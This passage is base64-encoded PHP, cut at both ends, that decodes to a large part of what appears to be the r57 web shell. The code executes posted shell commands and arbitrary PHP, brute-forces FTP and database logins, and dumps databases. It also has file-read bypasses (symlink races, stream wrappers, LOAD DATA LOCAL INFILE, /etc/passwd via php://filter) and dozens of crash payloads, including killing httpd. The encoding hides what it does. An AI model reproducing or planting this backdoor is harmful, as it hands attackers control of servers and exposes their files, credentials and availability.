GJyZWFrOwogIGNhc2UgJ3Rlc3QxMCc6CiAgQG9iX2NsZWFuKCk7CiAgJGVycm9yX3JlcG9ydGluZyA9IEBpbmlfZ2V0KCdlcnJvcl9yZXBvcnRpbmcnKTsKICBlcnJvcl9yZXBvcnRpbmcoRV9BTEwgXiBFX05PVElDRSk7CiAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgMSk7IAogIEBpbmlfYWx0ZXIoImRpc3BsYXlfZXJyb3JzIiwgMSk7IAogICRzdHI9QGZvcGVuKCRfUE9TVFsndGVzdDEwX2ZpbGUnXSwiciIpOwogIHdoaWxlKCFmZW9mKCRzdHIpKXtwcmludCBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRzdHIpKTt9CiAgZmNsb3NlKCRzdHIpOwogIGVycm9yX3JlcG9ydGluZygkZXJyb3JfcmVwb3J0aW5nKTsKICBicmVhazsKICBjYXNlICd0ZXN0MTEnOgogIEBvYl9jbGVhbigpOwogICR0ZW1wID0gJ3ppcDovLycuJF9QT1NUWyd0ZXN0MTFfZmlsZSddOwogICRzdHIgPSBtb3JlcmVhZCgkdGVtcCk7CiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3QxMic6CiAgQG9iX2NsZWFuKCk7CiAgJHRlbXAgPSAnY29tcHJlc3MuYnppcDI6Ly8nLiRfUE9TVFsndGVzdDEyX2ZpbGUnXTsKICAkc3RyID0gbW9yZXJlYWQoJHRlbXApOwogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTsKICBicmVhazsKICBjYXNlICd0ZXN0MTMnOgogIEBlcnJvcl9sb2coJF9QT1NUWyd0ZXN0MTNfZmlsZTEnXSwgMywgInBocDovLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLyIuJF9QT1NUWyd0ZXN0MTNfZmlsZTInXSk7CiAgZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXTsKICBicmVhazsKICBjYXNlICd0ZXN0MTQnOgogIEBzZXNzaW9uX3NhdmVfcGF0aCgkX1BPU1RbJ3Rlc3QxNF9maWxlMiddLiJcMDskdGVtcGRpciIpOwogIEBzZXNzaW9uX3N0YXJ0KCk7CiAgQCRfU0VTU0lPTltwaHBdPSRfUE9TVFsndGVzdDE0X2ZpbGUxJ107CiAgZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXTsKICBicmVhazsKICBjYXNlICd0ZXN0MTUnOgogIEByZWFkZmlsZSgkX1BPU1RbJ3Rlc3QxNV9maWxlMSddLCAzLCAicGhwOi8vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi4kX1BPU1RbJ3Rlc3QxNV9maWxlMiddKTsKICBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MSddOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3QxNic6CiAgaWYgKEBmb3Blbignc3JwYXRoOi8vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vJy4kX1BPU1RbJ3Rlc3QxNl9maWxlJ10sImEiKSkgZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXTsKICBicmVhazsKICBjYXNlICd0ZXN0MTdfMSc6CiAgQHVubGluaygnc3ltbGlua3JlYWQnKTsKICBAc3ltbGluaygnYS9hL2EvYS9hL2EvJywgJ2R1bW15Jyk7CiAgQHN5bWxpbmsoJ2R1bW15Ly4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLycuJF9QT1NUWyd0ZXN0MTdfZmlsZSddLCAnc3ltbGlua3JlYWQnKTsKICBAdW5saW5rKCdkdW1teScpOwogIHdoaWxlICgxKSAKICAgewogICAgQHN5bWxpbmsoJy4nLCAnZHVtbXknKTsKICAgIEB1bmxpbmsoJ2R1bW15Jyk7CiAgIH0KICBicmVhazsKICBjYXNlICd0ZXN0MTdfMic6CiAgJHN0cj0nJzsKICB3aGlsZSAoc3RybGVuKCRzdHIpIDwgMykgeyAgIAovKiAgICRzdHIgPSBtb3JlcmVhZCgnc3ltbGlua3JlYWQnKTsqLwogICAkc3RyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCdzeW1saW5rcmVhZCcpOwogICBpZigkc3RyKXsgQG9iX2NsZWFuKCk7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTt9CiAgfQogIGJyZWFrOwogIGNhc2UgJ3Rlc3QxN18zJzoKICAkZGlyID0gJGZpbGVzID0gYXJyYXkoKTsKICBpZihAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMC4wIik+PTApewogICB3aGlsZSAoQGNvdW50KCRkaXIpIDwgMykgewogICAgJGRpcj1Ac2NhbmRpcignc3ltbGlua3JlYWQnKTsKICAgIGlmIChAY291bnQoJGRpcikgPiAyKSB7QG9iX2NsZWFuKCk7IEBwcmludF9yKCRkaXIpOyB9CiAgIH0KICB9CiAgZWxzZSB7CiAgIHdoaWxlIChAY291bnQoJGZpbGVzKSA8IDMpIHsKICAgICRkaCAgPSBAb3BlbmRpcignc3ltbGlua3JlYWQnKTsKICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IEByZWFkZGlyKCRkaCkpKSB7CiAgICAgJGZpbGVzW10gPSAkZmlsZW5hbWU7CiAgICB9CiAgICBpZihAY291bnQoJGZpbGVzKSA+IDIpe0BvYl9jbGVhbigpOyBAcHJpbnRfcigkZmlsZXMpOyB9CiAgIH0KICB9CiAgYnJlYWs7CiAgY2FzZSAndGVzdDE4JzoKICBAcHV0ZW52KCJUTVBESVI9Ii4kX1BPU1RbJ3Rlc3QxOF9maWxlMiddKTsgCiAgQGluaV9zZXQoInNlc3Npb24uc2F2ZV9wYXRoIiwgIiIpOyAKICBAaW5pX2FsdGVyKCJzZXNzaW9uLnNhdmVfcGF0aCIsICIiKTsgCiAgQHNlc3Npb25fc3RhcnQoKTsKICBAJF9TRVNTSU9OW3BocF09JF9QT1NUWyd0ZXN0MThfZmlsZTEnXTsKICBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MSddOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3QxOSc6CiAgaWYoZW1wdHkoJF9QT1NUWyd0ZXN0MTlfcG9ydCddKSkgeyAkX1BPU1RbJ3Rlc3QxOV9wb3J0J10gPSAiMzMwNiI7IH0KICAkbSA9IG5ldyBteXNxbGkoJ2xvY2FsaG9zdCcsJF9QT1NUWyd0ZXN0MTlfbWwnXSwkX1BPU1RbJ3Rlc3QxOV9tcCddLCRfUE9TVFsndGVzdDE5X21kJ10sJF9QT1NUWyd0ZXN0MTlfcG9ydCddKTsKICBpZihAbXlzcWxpX2Nvbm5lY3RfZXJybm8oKSl7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBteXNxbGkgc2VydmVyOiAiLm15c3FsaV9jb25uZWN0X2Vycm9yKCkgO307CiAgJG0tPm9wdGlvbnMoTVlTUUxJX09QVF9MT0NBTF9JTkZJTEUsIDEpOwogICRtLT5zZXRfbG9jYWxfaW5maWxlX2hhbmRsZXIoInIiKTsKICAkbS0+cXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRlbXBfcjU3X3RhYmxlIik7CiAgJG0tPnF1ZXJ5KCJDUkVBVEUgVEFCTEUgdGVtcF9yNTdfdGFibGUgKCAnZmlsZScgTE9OR0JMT0IgTk9UIE5VTEwgKSIpOwogICRtLT5xdWVyeSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSBcIiIuJF9QT1NUWyd0ZXN0MTlfZmlsZSddLiJcIiBJTlRPIFRBQkxFIHRlbXBfcjU3X3RhYmxlIik7CiAgJHIgPSAkbS0+cXVlcnkoIlNFTEVDVCAqIEZST00gdGVtcF9yNTdfdGFibGUiKTsKICB3aGlsZSgoJHJfc3FsID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcikpKSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJHJfc3FsWzBdKS4iXHJcbiI7IH0KICAkbS0+cXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRlbXBfcjU3X3RhYmxlIik7CiAgJG0tPmNsb3NlKCk7CiAgYnJlYWs7CiB9Cn0KCmlmKCghJHNhZmVfbW9kZSkgJiYgKCRfUE9TVFsnY21kJ10hPSJwaHBfZXZhbCIpICYmICgkX1BPU1RbJ2NtZCddIT0ibXlzcWxfZHVtcCIpICYmICgkX1BPU1RbJ2NtZCddIT0iZGJfcXVlcnkiKSAmJiAoJF9QT1NUWydjbWQnXSE9ImZ0cF9icnV0ZSIpICYmICgkX1BPU1RbJ2NtZCddIT0iZGJfYnJ1dGUiKSl7CiAkY21kX3JlcCA9IGV4KCRfUE9TVFsnY21kJ10pOwogaWYoISR1bml4KSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoQGNvbnZlcnRfY3lyX3N0cmluZygkY21kX3JlcCwnZCcsJ3cnKSkuIlxuIjsgfQogZWxzZSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJGNtZF9yZXApLiJcbiI7IH0KfS8qZWxzZWlmKCRzYWZlX21vZGUpewogJGNtZF9yZXAgPSBzYWZlX2V4KCRfUE9TVFsnY21kJ10pOwogaWYoISR1bml4KSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoQGNvbnZlcnRfY3lyX3N0cmluZygkY21kX3JlcCwnZCcsJ3cnKSkuIlxuIjsgfQogZWxzZSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJGNtZF9yZXApLiJcbiI7IH0KfQoqLwpzd2l0Y2goJF9QT1NUWydjbWQnXSkKewogY2FzZSAnZG9zMSc6CiBmdW5jdGlvbiBhKCkgeyBhKCk7IH0gYSgpOwogYnJlYWs7CiBjYXNlICdkb3MyJzoKIEBwYWNrKCJkNDI5NDk2NzI5NyIsIDIpOwogYnJlYWs7CiBjYXNlICdkb3MzJzoKICRhID0gImEiO0B1bnNlcmlhbGl6ZShAc3RyX3JlcGxhY2UoJzEnLCAyMTQ3NDgzNjQ3LCBAc2VyaWFsaXplKCRhKSkpOwogYnJlYWs7CiBjYXNlICdkb3M0JzoKICR0ID0gYXJyYXkoMSk7d2hpbGUgKDEpIHskYVtdID0gJiR0O307CiBicmVhazsKIGNhc2UgJ2RvczUnOgogQGRsKCJzcWxpdGUuc28iKTskZGIgPSBuZXcgU3FsaXRlRGF0YWJhc2UoImZvbyIpOwogYnJlYWs7CiBjYXNlICdkb3M2JzoKIHByZWdfbWF0Y2goJy8oLig/IWIpKSovJywgQHN0cl9yZXBlYXQoImEiLCAxMDAwMCkpOwogYnJlYWs7CiBjYXNlICdkb3M3JzoKIEBzdHJfcmVwbGFjZSgiQSIsIHN0cl9yZXBlYXQoIkIiLCA2NTUzNSksIHN0cl9yZXBlYXQoIkEiLCA2NTUzOCkpOwogYnJlYWs7CiBjYXNlICdkb3M4JzoKIEBzaGVsbF9leGVjKCJraWxsYWxsIC0xMSBodHRwZCIpOwogYnJlYWs7CiBjYXNlICdkb3M5JzoKIGZ1bmN0aW9uIGN4KCl7IEB0ZW1wbmFtKCIvd3d3LyIsICcuLi8uLi8uLi8uLi8uLi8uLicuJHRlbXBkaXIuJ2N4Jyk7IGN4KCk7IH0gY3goKTsKIGJyZWFrOwogY2FzZSAnZG9zMTAnOgogJGEgPSBAc3RyX3JlcGVhdCAoIkEiLDQzODAxMyk7JGIgPSBAc3RyX3JlcGVhdCAoIkIiLDk1MTE0MCk7QHdvcmR3cmFwICgkYSwwLCRiLDApOwogYnJlYWs7CiBjYXNlICdkb3MxMSc6CiBAYXJyYXlfZmlsbCgxLDEyMzQ1Njc4OSwiSW5maWdvLUlTIik7CiBicmVhazsKIGNhc2UgJ2RvczEyJzoKIEBzdWJzdHJfY29tcGFyZSgiQSIsIkEiLDEyMzQ1Njc4KTsKIGJyZWFrOwogY2FzZSAnZG9zMTMnOgogQHVuc2VyaWFsaXplKCJhOjIxNDc0ODM2NDk6eyIpOwogYnJlYWs7CiBjYXNlICdkb3MxNCc6CiAkRGF0YSA9IEBzdHJfaXJlcGxhY2UoIlxuIiwgIjxicj4iLCAkRGF0YSk7CiBicmVhazsKIGNhc2UgJ2RvczE1JzoKIGZ1bmN0aW9uIHRvVVRGKCR4KSB7cmV0dXJuIGNocigoJHggPj4gNikgKyAxOTIpIC4gY2hyKCgkeCAmIDYzKSArIDEyOCk7fQogJHN0cjEgPSAiIjtmb3IoJGk9MDsgJGkgPCA2NDsgJGkrKyl7ICRzdHIxIC49IHRvVVRGKDk3Nyk7fQogQGh0bWxlbnRpdGllcygkc3RyMSwgRU5UX05PUVVPVEVTLCAiVVRGLTgiKTsKIGJyZWFrOwogY2FzZSAnZG9zMTYnOgogJHIgPSBAemlwX29wZW4oInguemlwIik7JGUgPSBAemlwX3JlYWQoJHIpOyR4ID0gQHppcF9lbnRyeV9vcGVuKCRyLCAkZSk7CiBmb3IgKCRpPTA7ICRpPDEwMDA7ICRpKyspICRhcnJbJGldPWFycmF5KGFycmF5KCIiKSk7CiB1bnNldCgkYXJyWzYwMF0pO0B6aXBfZW50cnlfcmVhZCgkZSwgLTEpO3Vuc2V0KCRhcnJbNjAxXSk7CiBicmVhazsKIGNhc2UgJ2RvczE3JzoKICR6ID0gIlVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVIjsgCiAkeSA9ICJERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERCI7IAogJHggPSAiQVEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiOyAKIHVuc2V0KCR6KTt1bnNldCgkeSk7JHggPSBiYXNlNjRfZGVjb2RlKCR4KTskeSA9IEBzcWxpdGVfdWRmX2RlY29kZV9iaW5hcnkoJHgpO3Vuc2V0KCR4KTsKIGJyZWFrOwogY2FzZSAnZG9zMTgnOgogJE1TR0tFWSA9IDUxOTA1MjskbXNnX2lkID0gQG1zZ19nZXRfcXVldWUgKCRNU0dLRVksIDA2MDApOyAKIGlmICghQG1zZ19zZW5kICgkbXNnX2lkLCAxLCAnQUFBQUJCQkJDQ0NDREREREVFRUVGRkZGR0dHR0hISEgnLCBmYWxzZSwgdHJ1ZSwgJG1zZ19lcnIpKSAKIGVjaG8gIk1zZyBub3Qgc2VudCBiZWNhdXNlICRtc2dfZXJyXG4iOyAKIGlmIChAbXNnX3JlY2VpdmUgKCRtc2dfaWQsIDEsICRtc2dfdHlwZSwgMHhmZmZmZmZmZiwgJF9TRVNTSU9OLCBmYWxzZSwgMCwgJG1zZ19lcnJvcikpIHsgCiBlY2hvICIkbXNnXG4iOyAKIH0gZWxzZSB7IGVjaG8gIlJlY2VpdmVkICRtc2dfZXJyb3IgZmV0Y2hpbmcgbWVzc2FnZVxuIjsgYnJlYWs7IH0gCiBAbXNnX3JlbW92ZV9xdWV1ZSAoJG1zZ19pZCk7CiBicmVhazsKIGNhc2UgJ2RvczE5JzoKICR1cmwgPSAicGhwOi8vZmlsdGVyL3JlYWQ9T0ZGX0JZX09ORS4vcmVzb3VyY2U9L2V0Yy9wYXNzd2QiOyBAZm9wZW4oJHVybCwgInIiKTsKIGJyZWFrOwogY2FzZSAnZG9zMjAnOgogJGhhc2h0YWJsZSA9IHN0cl9yZXBlYXQoIkEiLCAzOSk7CiAkaGFzaHRhYmxlWzUqNCswXT1jaHIoMHg1OCk7JGhhc2h0YWJsZVs1KjQrMV09Y2hyKDB4NDApOyRoYXNodGFibGVbNSo0KzJdPWNocigweDA2KTskaGFzaHRhYmxlWzUqNCszXT1jaHIoMHgwOCk7CiAkaGFzaHRhYmxlWzgqNCswXT1jaHIoMHg2Nik7JGhhc2h0YWJsZVs4KjQrMV09Y2hyKDB4NzcpOyRoYXNodGFibGVbOCo0KzJdPWNocigweDg4KTskaGFzaHRhYmxlWzgqNCszXT1jaHIoMHg5OSk7CiAkc3RyID0gJ2E6MTAwMDAwOntzOjg6IkFBQUFCQkJCIjthOjM6e3M6MTI6IjAxMjM0NTY3ODlBQSI7YToxOntzOjEyOiJBQUFBQkJCQkNDQ0MiO2k6MDt9czoxMjoiMDEyMzQ1Njc4QUFBIjtpOjA7czoxMjoiMDEyMzQ1Njc4QkFOIjtpOjA7fSc7CiBmb3IgKCRpPTA7ICRpPDY1NTM1OyAkaSsrKSB7ICRzdHIgLj0gJ2k6MDtSOjI7JzsgfQogJHN0ciAuPSAnczozOToiWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYIjtzOjM5OiInLiRoYXNodGFibGUuJyI7aTowO1I6MzsnOwogQHVuc2VyaWFsaXplKCRzdHIpOwogYnJlYWs7CiBjYXNlICdkb3MyMSc6CiBpbWFnZWNyZWF0ZXRydWVjb2xvcigxMjM0LDEwNzM3NDE4MjQpOwogYnJlYWs7CiBjYXNlICdkb3MyMic6CiBpbWFnZWNvcHlyZXNpemVkKGltYWdlY3JlYXRldHJ1ZWNvbG9yKDB4N2ZmZmZmZmYsIDEyMCksaW1hZ2VjcmVhdGV0cnVlY29sb3IoMTIwLCAxMjApLCAwLCAwLCAwLCAwLCAweDdmZmZmZmZmLCAxMjAsIDEyMCwgMTIwKTsKIGJyZWFrOwogY2FzZSAnZG9zMjMnOgogJGEgPSBzdHJfcmVwZWF0ICgiQSIsOTk4OTc3Nik7ICRiID0gc3RyX3JlcGVhdCgiLyIsIDI3OTgzNDkpOyBpY29udl9zdWJzdHIoJGEsMCwxLCRiKTsKIGJyZWFrOwogY2FzZSAnZG9zMjQnOgogc2V0bG9jYWxlKExDX0NPTExBVEUsIHN0cl9yZXBlYXQoIkEiLCAzNDQzODAxMykpOwogYnJlYWs7CiBjYXNlICdkb3MyNSc6CiBnbG9iKHN0cl9yZXBlYXQoIkEiLCA5NjM4MDEzKSk7CiBicmVhazsKIGNhc2UgJ2RvczI2JzoKIGdsb2IoImEiLC0xKTsKIGJyZWFrOwogY2FzZSAnZG9zMjcnOgogZm5tYXRjaCgiKlsxXWUiLCBzdHJfcmVwZWF0KCJBIiwgOTYzODAxMykpOwogYnJlYWs7CiBjYXNlICdkb3MyOCc6CiBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgiZ2QiKSl7ICRidWZmID0gc3RyX3JlcGVhdCgiQSIsOTk5OSk7ICRyZXMgPSBpbWFnZXBzbG9hZGZvbnQoJGJ1ZmYpOyBlY2hvICJib29tISFcbiI7fQogYnJlYWs7CiBjYXNlICdkb3MyOSc6CiBpZihmdW5jdGlvbl9leGlzdHMoJ21zcWxfY29ubmVjdCcpKXsgbXNxbF9wY29ubmVjdChzdHJfcmVwZWF0KCdBJyw0OTQyNCkuJ0JCQkInKTsgbXNxbF9jb25uZWN0KHN0cl9yZXBlYXQoJ0EnLDQ5NDI0KS4nQkJCQicpO30KIGJyZWFrOwogY2FzZSAnZG9zMzAnOgogJGE9c3RyX3JlcGVhdCgiQSIsIDY1NTM1KTsgICRiPTE7ICAkYz1zdHJfcmVwZWF0KCJBIiwgNjU1MzUpOyAgY2h1bmtfc3BsaXQoJGEsJGIsJGMpOwogYnJlYWs7CiBjYXNlICdkb3MzMSc6CiBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgid2luMzJzdGQiKSApIHsgd2luX2Jyb3dzZV9maWxlKCAxLCBOVUxMLCBzdHJfcmVwZWF0KCAiXHg5MCIsIDI2NCApLCBOVUxMLCBhcnJheSggIioiID0+ICIqLioiICkgKTt9CiBicmVhazsKIGNhc2UgJ2RvczMyJzoKIGlmIChleHRlbnNpb25fbG9hZGVkKCAiaWlzZnVuYyIgKSApeyAkYnVmX3VuaWNvZGUgPSBzdHJfcmVwZWF0KCAiQSIsIDI1NiApOyAkZWlwX3VuaWNvZGUgPSAiXHg0MVx4NDEiOyBpaXNfZ2V0c2VydmljZXN0YXRlKCAkYnVmX3VuaWNvZGUgLiAkZWlwX3VuaWNvZGUgKTt9CiBicmVhazsKIGNhc2UgJ2RvczMzJzoKICRidWZmID0gc3RyX3JlcGVhdCgiXHg0MSIsIDI1MCk7JGdldF9FSVAgPSAiXHg0Mlx4NDIiOyRnZXRfRVNQID0gc3RyX3JlcGVhdCgiXHg0MyIsIDEwMCk7JGdldF9FQlAgPSBzdHJfcmVwZWF0KCJceDQ0IiwgMTAwKTtudHVzZXJfZ2V0dXNlcmxpc3QoJGJ1ZmYuJGdldF9FSVAuJGdldF9FU1AuJGdldF9FQlApOwogYnJlYWs7CiBjYXNlICdkb3MzNCc6CiBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgiYnoyIikpeyAkYnVmZiA9IHN0cl9yZXBlYXQoImEiLDEwMDApOyBjb21fcHJpbnRfdHlwZWluZm8oJGJ1ZmYpO30KIGJyZWFrOwogY2FzZSAnZG9zMzUnOgogJGEgPSBzdHJfcmVwZWF0KCIvIiwgNDE5OTAwMCk7IGljb252KDEsICRhLCAxKTsKIGJyZWFrOwogY2FzZSAnZG9zMzYnOgogJGEgPSBzdHJfcmVwZWF0KCIvIiwgMjk5MTM3MCk7IGljb252X21pbWVfZGVjb2RlX2hlYWRlcnMoMCwgMSwgJGEpOwogYnJlYWs7CiBjYXNlICdkb3MzNyc6CiAkYSA9IHN0cl9yZXBlYXQoIi8iLCAzNzk5MDAwKTsgaWNvbnZfbWltZV9kZWNvZGUoMSwgMCwgJGEpOwogYnJlYWs7CiBjYXNlICdkb3MzOCc6CiAkYSA9IHN0cl9yZXBlYXQoIi8iLCA5NzkxOTk5KTsgaWNvbnZfc3RybGVuKDEsICRhKTsKIGJyZWFrOwp9CgppZiAoJF9QT1NUWydjbWQnXT09InBocF9ldmFsIil7CiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiPD8iLCIiLCRfUE9TVFsncGhwX2V2YWwnXSk7CiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiPz4iLCIiLCRldmFsKTsKIEBldmFsKCRldmFsKTt9CgppZiAoJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpCiB7CiAkc3VjID0gMDsKIGlmKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdwYXNzd2QnKXsKIGZvcmVhY2goJHVzZXJzIGFzICR1c2VyKQogIHsKICAgICRjb25uZWN0aW9uID0gQGZ0cF9jb25uZWN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7CiAgICBpZihAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCR1c2VyLCR1c2VyKSkgeyBlY2hvICJbK10gJHVzZXI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfQogICAgZWxzZSBpZihpc3NldCgkX1BPU1RbJ3JldmVyc2UnXSkpIHsgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlcixzdHJyZXYoJHVzZXIpKSkgeyBlY2hvICJbK10gJHVzZXI6Ii5zdHJyZXYoJHVzZXIpLiIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfSB9IAogICAgQGZ0cF9jbG9zZSgkY29ubmVjdGlvbik7CiAgfQogfWVsc2UgaWYoKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdkaWMnKSAmJiBpc3NldCgkX1BPU1RbJ2Z0cF9sb2dpbiddKSl7CiAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpCiAgewogICAgJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsKICAgIGlmKEBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJF9QT1NUWydmdHBfbG9naW4nXSwkdXNlcikpIHsgZWNobyAiWytdICIuJF9QT1NUWydmdHBfbG9naW4nXS4iOiR1c2VyIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0KICAgIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOwogIH0KIH0KIGVjaG8gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbiI7CiAkY291bnQgPSBjb3VudCgkdXNlcnMpOwogaWYoaXNzZXQoJF9QT1NUWydyZXZlcnNlJ10pICYmICgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0ncGFzc3dkJykpIHsgJGNvdW50ICo9IDI7IH0KIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk3J10uJGNvdW50LiJcclxuIjsKIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk4J10uJHN1Yy4iXHJcbiI7CiB9CgppZiAoJF9QT1NUWydjbWQnXT09ImRiX2JydXRlIikKIHsKICRzdWMgPSAwOwogaWYoJF9QT1NUWydicnV0ZV9tZXRob2QnXT09J3Bhc3N3ZCcpewogZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpCiAgewogICAkc3FsID0gbmV3IG15X3NxbCgpOwogICAkc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOwogICAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsKICAgJHNxbC0+cG9ydCA9ICRfUE9TVFsnZGJfcG9ydCddOwogICAkc3FsLT51c2VyID0gJHVzZXI7CiAgICRzcWwtPnBhc3MgPSAkdXNlcjsKICAgaWYoJHNxbC0+Y29ubmVjdCgpKSB7IGVjaG8gIlsrXSAkdXNlcjokdXNlciAtIHN1Y2Nlc3NcclxuIjsgJHN1YysrOyB9CiAgfQogaWYoaXNzZXQoJF9QT1NUWydyZXZlcnNlJ10pKQogIHsKICAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpCiAgICB7CiAgICAgJHNxbCA9IG5ldyBteV9zcWwoKTsKICAgICAkc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOwogICAgICRzcWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlciddOwogICAgICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsKICAgICAkc3FsLT51c2VyID0gJHVzZXI7CiAgICAgJHNxbC0+cGFzcyA9IHN0cnJldigkdXNlcik7CiAgICAgaWYoJHNxbC0+Y29ubmVjdCgpKSB7IGVjaG8gIlsrXSAkdXNlcjoiLnN0cnJldigkdXNlcikuIiAtIHN1Y2Nlc3NcclxuIjsgJHN1YysrOyB9CiAgICB9CiAgfQogfWVsc2UgaWYoKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdkaWMnKSAmJiBpc3NldCgkX1BPU1RbJ215c3FsX2wnXSkpewogIGZvcmVhY2goJHVzZXJzIGFzICR1c2VyKQogIHsKICAgJHNxbCA9IG5ldyBteV9zcWwoKTsKICAgJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsKICAgJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107CiAgICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsKICAgJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOwogICAkc3FsLT5wYXNzID0gJHVzZXI7CiAgIGlmKCRzcWwtPmNvbm5lY3QoKSkgeyBlY2hvICJbK10gIi4kX1BPU1RbJ215c3FsX2wnXS4iOiR1c2VyIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0KICB9CiB9CiBlY2hvICJcclxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4iOwogJGNvdW50ID0gY291bnQoJHVzZXJzKTsKIGlmKGlzc2V0KCRfUE9TVFsncmV2ZXJzZSddKSAmJiAoJF9QT1NUWydicnV0ZV9tZXRob2QnXT09J3Bhc3N3ZCcpKSB7ICRjb3VudCAqPSAyOyB9CiBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NyddLiRjb3VudC4iXHJcbiI7CiBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5OCddLiRzdWMuIlxyXG4iOwogfQoKaWYgKCRfUE9TVFsnY21kJ109PSJteXNxbF9kdW1wIikKIHsKICBpZihpc3NldCgkX1BPU1RbJ2RpZiddKSkgeyBtb3Jld3JpdGUoJF9QT1NUWydkaWZfbmFtZSddLCAibXlzcWxfZHVtcFxyXG4iKTsgfQogICRzcWwgPSBuZXcgbXlfc3FsKCk7CiAgJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsKICAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsKICAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107CiAgJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOwogICRzcWwtPnBhc3MgPSAkX1BPU1RbJ215c3FsX3AnXTsKICAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOwogIGlmKCEkc3FsLT5jb25uZWN0KCkpIHsgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXIiOyB9CiAgZWxzZSBpZighJHNxbC0+c2VsZWN0X2RiKCkpIHsgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBzZWxlY3QgZGF0YWJhc2UiOyB9CiAgZWxzZSBpZighJHNxbC0+ZHVtcCgkX1BPU1RbJ215c3F